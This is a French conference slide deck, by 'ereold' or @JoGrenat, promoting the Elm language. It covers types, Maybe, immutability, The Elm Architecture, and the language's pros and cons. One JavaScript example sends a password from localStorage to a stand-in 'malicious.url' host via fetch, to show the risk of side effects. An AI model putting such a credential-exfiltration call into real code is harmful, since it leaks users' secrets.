Elm : le front-end heureux 😁
@JoGrenat

Remote Mob Programming
On recrute :)



Simplicité

module Main exposing (main)
import Browser
import Html exposing (Html, h1, text)
import Html.Attributes exposing (style)
import Html.Events exposing (onClick)
type alias User =
    { username : String
    , elmPreference : ElmPreference 
    }
type ElmPreference
    = LikeElm String
    | DontLikeElm
main : Html msg
main =
    if userLikeElm you then
        h1 [ style "color" "green" ] [ text (you.username ++ ", you like Elm! 🔥") ]
    else
        h1 [ style "color" "red" ] [ text (you.username ++ ", you don't like Elm?") ]
you : User
you =
    { username = "Jordane"
    , elmPreference = LikeElm "very much"
    }
userLikeElm : User -> Bool
userLikeElm user =
    case user.elmPreference of
        LikeElm _ ->
            True
        DontLikeElm ->
            False

- npm / yarn
 - Babel
 - webpack
 - React
 - Redux
 - Immutable.js
 - lodash
 - Typescript
 - zod
 - ...
 
- Elm
 
Le compilateur est votre mentor




Versions gérées par le compilateur
1.2.3
Majeure.Mineure.Correctif
Langage statiquement typé
let remoteString = null;
let isLoading = true;
let isOnError = false;type RemoteString = 
  Loading 
  | Loaded String 
  | OnError Int Stringconst names = ['Fanny', 'Stéphane', 'Jordane'];
const firstName = names[0];type Maybe a = 
  Nothing 
  | Just a
  
  
List.head names
-- Just "Fanny"
-- Nothingconst names = [];
const firstName = names[0]; // undefinedLes erreurs apparaissent rapidement
(pas en prod)
Le refactoring est guidé par le compilateur 👍
Programmation Fonctionnelle
const people = ['Fanny', 'Stéphane', 'Jordane', 'Evan'];
doSomething(people);🤔
people.splice(2, 1, 'Lucien');
people.slice(1, 3);🤪
Immutabilité
Penser local
function doSomething(people) {
  const password = localStorage.get('password');
  fetch('http://malicious.url?password=' + password);
}😱
const people = List(['Fanny', 'Stéphane', 'Evan']);
doSomething(people);Pas d'effets secondaires
Sécurité par design
Charge cognitive
😎

<troll>
</troll>
Pas d'exception au runtime
😍
If it compiles, it works!
The Elm Architecture (TEA)
Cmd Msg
Effets de bord


Runtime

Avantages
- Très bonne Developer Experience
 - Pas d'exceptions au runtime
 - Super messages d'err
 - Des types surpuissants
 - Excellentes performances
 - Des concepts qui s'exportent
 
Désavantages
- Modèle de gouvernance fermé
 - Boilerplate vs Explicite
 - Mindset shift
 
Slides : bit.ly/elm-frontend-heureux
Un workshop pour commencer
Elm, le front-end heureux
By ereold
Elm, le front-end heureux
- 1,163